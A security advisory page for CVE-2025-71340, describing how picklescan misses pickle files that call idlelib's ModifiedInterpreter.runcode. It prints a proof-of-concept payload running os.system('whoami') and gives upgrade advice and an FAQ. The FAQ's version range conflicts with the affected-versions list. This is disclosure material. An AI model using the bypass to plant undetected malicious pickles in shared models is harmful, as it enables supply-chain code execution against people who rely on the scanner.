CVE-2025-71340: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

Published Aug 26, 2025
·
Updated

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode: def reduce(self): payload = "import('os').system('whoami')" fakeself = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, activeseq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fakeself, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Other sources

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

— MITRE

Affected Software

2 affected componentsFixes available
picklescan<=0.0.26
pip/picklescan<0.0.30
0.0.30

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/picklescan to a version that resolves this vulnerability.

    Fixed in 0.0.30
  2. Upgrade

    Upgrade picklescan to a version that resolves this vulnerability.

    Fixed in 0.0.30

Event History

Aug 26, 2025
Advisory Published
via OSV·09:37 PM
Data Sourced
via OSV·09:37 PM
DescriptionSeverityWeaknessAffected Software
Jun 25, 2026
CVE Published
via MITRE·09:41 PM
Data Sourced
via MITRE·09:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2025-71340?

The severity of CVE-2025-71340 is rated high with a CVSS score of 7.6.

2

How do I fix CVE-2025-71340?

To mitigate CVE-2025-71340, update to a version of picklescan that detects malicious pickle files.

3

What can an attacker do with CVE-2025-71340?

An attacker can execute arbitrary commands on the system by embedding malicious code in pickle files that utilize idlelib.pyshell.ModifiedInterpreter.runcode.

4

What software is vulnerable to CVE-2025-71340?

The vulnerable software is picklescan, specifically versions before 0.0.26.

5

When was CVE-2025-71340 published?

CVE-2025-71340 was published on June 25, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203